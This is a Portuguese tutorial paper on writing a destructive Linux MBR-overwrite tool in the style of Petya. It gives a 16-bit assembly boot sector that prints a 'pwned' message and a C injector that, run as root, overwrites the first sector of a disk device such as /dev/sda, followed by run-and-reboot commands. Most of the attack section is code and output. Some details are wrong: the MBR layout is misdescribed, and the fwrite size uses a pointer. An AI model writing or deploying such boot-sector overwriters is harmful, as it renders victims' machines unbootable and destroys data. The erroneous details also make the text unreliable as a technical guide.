.

.

Escrevendo um Malware de MBR para Linux

Autor: @mrempy

                                :::!~!!!!!:.
                            .xUHWH!! !!?M88WHX:.
                          .X*#M@$!!  !X!M$$$$$$WWx:.
                         :!!!!!!?H! :!$!$$$$$$$$$$8X:
                        !!~  ~:~!! :~!$!#$$$$$$$$$$8X:
                       :!~::!H!<   ~.U$X!?R$$$$$$$$MM!
                       ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM!
                         !:~~~ .:!M"T#$$$$WX??#MRRMMM!
                         ~?WuxiW*`   `"#$$$$8!!!!??!!!
                       :X- M$$$$       `"T#$T~!8$WUXU~
                      :%`  ~#$$$m:        ~!~ ?$$$$$$
                    :!`.-   ~T$$$$8xx.  .xWW- ~""##*"
          .....   -~~:<` !    ~?T#$$@@W@*?$$      /`
          W$@@M!!! .!~~ !!     .:XUW$W!~ `"~:    :
          #"~~`.:x%`!!  !H:   !WM$$$$Ti.: .!WUn+!`
          :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~		- Esse setor de boot foi pwnado!
          .~~   :X@!.-~   ?@WTWo("*$$$W$TH$! `
          Wi.~!X$?!-~    : ?$$$B$Wu("**$RM!
          $R@i.~~ !     :   ~$$$$$B$$en:``
          ?MXT@Wx.~    :     ~"##*$$$$M~



            ▓▓▓▓▓▓        ▓▓▓▓▓▓      ▓▓▓▓▓▓▓▓    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓    ▓▓▓▓    
        ░░▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓  
        ░░▓▓▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░Sumário░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▒▒░░░░░░░░░░░░░░░░░░1. Petya Ransomware░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░2. O que é um setor de boot░░░░░░░░░░░░▒▒▓▓▓▓
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░3. Codando um simples bootloader░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
            ▓▓▓▓▒▒░░░░░░░░░░4. Codando um malware MBR Overwrite░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░5. Execução e Demonstração░░░░░░░░░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░░░░░░░████████░░░░░░░░░░░░░░██░░░░██████░░░░░░▒▒▒▒  
            ▓▓▒▒░░░░░░░░████████░░░░██████████░░░░░░████████░░████░░░░▒▒▒▒  
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒  
        ░░▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓  
        ░░▓▓▓▓▒▒░░░░░░░░██░░░░░░░░██░░░░░░░░░░░░░░░░░░░░░░░░░░████░░░░▒▒▓▓▓▓
            ▓▓▒▒░░░░░░░░██████░░████████░░████░░░░████████████░░██░░░░░░▒▒▓▓
            ▓▓▒▒░░░░░░░░░░░░██████░░░░██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
        ░░▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓
        ░░▓▓▓▓▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓
            ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓  
                ▓▓▓▓▓▓        ▓▓▓▓▓▓    ▓▓▓▓▓▓      ▓▓▓▓      ▓▓▓▓▓▓▓▓▓▓  


        Neste paper, irei demonstrar um ataque ao setor de boot, conhecido como Master Boot Record (MBR). O ataque consiste em sobrescrever
        o setor de boot por um setor malicioso, o ataque é chamado de MBR Overwrite. Esse ataque o MBR pode impedir o sistema de ser ini-
        cializado. Neste paper você aprenderá a desenvolver scripts simples em Assembly 16 bits usando interruptores da Basic Input/Output
        System (BIOS) e um pouco de C. Lembrando que este paper foi escrevido com fins educativos e para pessoas curiosas, assim como eu.

        Vamos começar por um famoso malware que teve seu destaque em 2016 e 2017, o Petya Ransomware.

        ╔═════════════════════════╗
        ║     Petya Ransomware    ║
        ╚═════════════════════════╝

        Petya é uma família de malware de criptografia que foi descoberta pela primeira vez em 2016. O malware tem como alvo os sistemas
        baseados no Windows da Microsoft. Seu objetivo é infectar o MBR com código malicioso que impedirá a inicialização do sistema, blo-
        queando a inicialização do sistema. O desbloqueio é feito através de uma chave que é entregue à vítima após o pagamento do resgate
        pelos seus dados.

        ╔════════════════════════════╗
        ║  O que é um setor de boot  ║
        ╚════════════════════════════╝

        Como dito anteriormente, o setor de boot, conhecido como MBR, é o primeiro setor a ser utilizado, a placa-mãe é responsável por
        essa inicialização. O MBR ocupa os primeiros 446 bytes da seção de boot e o código de inicialização ocupa os 64 bytes restantes.
        O endereço 0x7C00 é o endereço de memória na qual o código de inicialização é carregado quando o computador é ligado. Isso é
        feito pelo processador ao ler o MBR do disco rígido e carregar o código de inicialização na memória RAM. O código de inicializa-
        ção, por sua vez, é responsável por carregar o sistema operacional no resto da memória RAM.

        ╔═════════════════════════════════╗
        ║  Codando um simples bootloader  ║
        ╚═════════════════════════════════╝

        Para começarmos a escrever o código, precisamos definir algumas coisas, primeiro o endereço 0x7C00, que é o endereço do setor de
        boot, e depois os bits, que no caso é 16.

        Código:
        ╔═════════════════════════════════╗
        ║ [BITS 16]                       ║
        ║ [ORG 0x7C00]                    ║
        ╚═════════════════════════════════╝

        Para adiantarmos as últimas linhas, vamos preencher o código de boot com bytes vazios até 512 bytes e assinar com um código
        mágico. Iremos assinar usando o endereço x86 little-endian, conhecido como 0xAA55.

        Código:
        ╔══════════════════════════════════════════════╗
        ║ [BITS 16]                                    ║
        ║ [ORG 0x7C00]                                 ║
        ║                                              ║
        ║                                              ║
        ║                                              ║
        ║ times 510 - ($ - $$) db 0                    ║
        ║ dw 0xAA55                                    ║
        ╚══════════════════════════════════════════════╝

        A linha que tem a função times está encarregada de preencher até 510 bytes no binário que será compilado, enquanto dw assinará
        com o endereço 0xAA55.

        Agora iremos escrever uma função para imprimir cada letra de um byte definido, conhecido como DB. Para isso, iremos mover o
        endereço 0x0E para o registrador AH, que é um registro de acumulação alto. Posteriormente vem acompanhado na linha de baixo o
        caractere que você gostaria de imprimir sendo movido para o registrador de baixo acumulo, chamado AL. Próxima linha invocará
        o interruptor da BIOS, conhecido como 0x10, utilizando o INT.

        Código:
        ╔══════════════════════════════════════════════╗
        ║ [BITS 16]                                    ║
        ║ [ORG 0x7C00]                                 ║
        ║                                              ║
        ║ mov ah, 0x0E                                 ║
        ║ mov al, 'X'                                  ║
        ║ int 0x10                                     ║
        ║                                              ║
        ║ times 510 - ($ - $$) db 0                    ║
        ║ dw 0xAA55                                    ║
        ╚══════════════════════════════════════════════╝

        Vamos compilar o código para testar se está funcionando corretamente.

        $ nasm -f bin bootloader.asm -o bootloader.bin
        $ qemu-system-x86_64 bootloader.bin

        ╔═════════════════════════════════════════════════════════════════════════════╗
        ║ SeaBIOS (version Arch Linux 1.16.1-1-1)				      ║
        ║									      ║
        ║									      ║
        ║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900  ║
        ║                                                                             ║  
        ║									      ║
        ║									      ║
        ║ Booting from Hard Disk...						      ║
        ║ X									      ║
        ╚═════════════════════════════════════════════════════════════════════════════╝

        Podemos ver que está funcionando corretamente.

        Agora podemos criar uma função para imprimir todos os caracteres de uma variável. Irei usar o mesmo código que utilizei no
        meu artigo sobre impressão de strings em Assembly 16 bits. Não irei explicar detalhadamente como funciona a função nesse
        paper, mas aqui está o link para quem tiver curiosidade:

        https://medium.com/@mrempy/assembly-16-bits-printing-strings-a114c72f6e43

        Código:
        ╔═══════════════════════════════════════════════════════╗
        ║ [BITS 16]                                             ║
        ║ [ORG 0x7C00]                                          ║
        ║                                                       ║
        ║ Jmp Main                                              ║
        ║                                                       ║
        ║ Main:                                                 ║
        ║     mov si, pwnedmessage                              ║
        ║     call Print                                        ║
        ║     jmp $                                             ║
        ║                                                       ║
        ║ Print:                                                ║
        ║     mov ah, 0x0E                                      ║
        ║     mov al, [si]                                      ║
        ║     loop:                                             ║
        ║         int 0x10                                      ║
        ║         inc si                                        ║
        ║         mov al, [si]                                  ║
        ║         cmp al, 0                                     ║
        ║         jne loop                                      ║
        ║     ret                                               ║
        ║ ret                                                   ║
        ║                                                       ║
        ║                                                       ║
        ║ pwnedmessage db "Esse setor de boot foi pwnado!"      ║
        ║                                                       ║
        ║ times 510 - ($ - $$) db 0                             ║
        ║ dw 0xAA55                                             ║
        ╚═══════════════════════════════════════════════════════╝

        O código para o setor de boot está pronto, podemos compilar e testar.

        $ nasm -f bin bootloader.asm -o bootloader.bin
        $ qemu-system-x86_64 bootloader.bin

        ╔═════════════════════════════════════════════════════════════════════════════╗
        ║ SeaBIOS (version Arch Linux 1.16.1-1-1)				      ║
        ║									      ║
        ║									      ║
        ║ iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+06FD33A0+06F333A0 C900  ║
        ║                                                                             ║  
        ║									      ║
        ║									      ║
        ║ Booting from Hard Disk...						      ║
        ║ Esse setor de boot foi pwnado!			          	      ║
        ╚═════════════════════════════════════════════════════════════════════════════╝

        ╔════════════════════════════════════╗
        ║  Codando um malware MBR Overwrite  ║
        ╚════════════════════════════════════╝

        Agora precisamos desenvolver um malware para substituir a MBR pelo código malicioso que temos, então temos que definir os
        cabeçalhos do script.

        Código:
        ╔═════════════════════════════════════════════════════════════════════════════╗
        ║ #include <.stdio.h>    # remova esse ponto no inicio do sinal menor que     ║
        ║ #include <.stdlib.h>							      ║
        ║ #include <.unistd.h>							      ║
        ║                                                                             ║  
        ║ int main(int argc, char* argv[]) {                                          ║  
        ║     return 0;								      ║
        ║ }									      ║
        ║                      						              ║
        ║                                   			          	      ║
        ╚═════════════════════════════════════════════════════════════════════════════╝

        Para adicionar o código malicioso de setor de boot, podemos usar o CyberChef para transforma o binário em Hex e adicioná-lo
        em uma variável char não assinada.

        CyberChef: https://icyberchef.com/#recipe=To_Hex('%5C%5Cx',0)
        Código:
        ╔═════════════════════════════════════════════════════════════════════════════╗
        ║ #include <.stdio.h>							      ║
        ║ #include <.stdlib.h>							      ║
        ║ #include <.unistd.h>							      ║
        ║                                                                             ║  
        ║ int main(int argc, char* argv[]) {                                          ║  
        ║     unsigned char* payload = "\x01\x02\x03\x04\x05...";                     ║  
        ║     return 0;								      ║
        ║ }									      ║
        ║                      						              ║
        ║                                   			          	      ║
        ╚═════════════════════════════════════════════════════════════════════════════╝

        Agora precisamos escrever um código para abrir o sistema de arquivos do disco para escrever os bytes nele, e depois definir
        o ponto de partida da escrita, para não acabar "limpando" o disco e adicionando o payload.

        Código:
        ╔═════════════════════════════════════════════════════════════════════════════╗
        ║ #include <.stdio.h>							      ║
        ║ #include <.stdlib.h>							      ║
        ║ #include <.unistd.h>							      ║
        ║                                                                             ║  
        ║ int main(int argc, char* argv[]) {                                          ║  
        ║     unsigned char* payload = "\x01\x02\x03\x04\x05...";                     ║
        ║     FILE* harddisk;                                                         ║  
        ║                                                                             ║  
        ║     if (geteuid() != 0) {                                                   ║  
        ║         puts("You need to run as root user");                               ║    
        ║         return 1;                                                           ║  
        ║     }                                                                       ║  
        ║     harddisk = fopen(argv[1], "wb");                                        ║  
        ║     fseek(harddisk, 0, SEEK_SET);                                           ║  
        ║     fwrite(payload, sizeof(payload), 1, harddisk);                          ║  
        ║     fclose(harddisk);                                                       ║
        ║     return 0;								      ║
        ║ }									      ║
        ║                      						              ║
        ║                                   			          	      ║
        ╚═════════════════════════════════════════════════════════════════════════════╝

        Você precisa saber qual é o caminho do seu disco, por exemplo /dev/sda.

        Tudo feito! Agora é só compilar e executar em um ambiente virtualizado para não causar danos na máquina.

        $ gcc injector.c -o injector.elf

        ╔═══════════════════════════╗
        ║  Execução e Demonstração  ║
        ╚═══════════════════════════╝

        Após enviar o código e compilá-lo para um ambiente virtual, execute o binário como root e reinicie a máquina.

        $ sudo ./injector.elf
        $ reboot

        Após reiniciar a máquina você receberá uma mensagem parecida como:

        ╔═════════════════════════════════════════════════════════════════════════════╗
        ║ Esse setor de boot foi pwnado!			          	      ║
        ║									      ║
        ║									      ║
        ║									      ║
        ║                                                                             ║  
        ║									      ║
        ║									      ║
        ║									      ║
        ║									      ║
        ╚═════════════════════════════════════════════════════════════════════════════╝

        Observe um exemplo em GIF demonstrando a injeção e a reinicialização da máquina:
        https://github.com/MrEmpy/MBROverwrite/blob/main/assets/demo.gif


                                    _--_
                                    /   -)
                                ___/___|___
                    ____-----=~~///|     ||||~~~==-----_____
                //~////////////~/|     |//|||||\\\\\\\\\\\\\
                ////////////////////|   |///////|\\\\\\\\\\\\\\\
            /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\
            //~                  /\\|\\                      ~\\
                                ///W^\W\
                                ////|||\\\
                                ~~~~~~~~~~
                              Amolo Hunters


        Obrigado por lerem meu paper, até a próxima ;)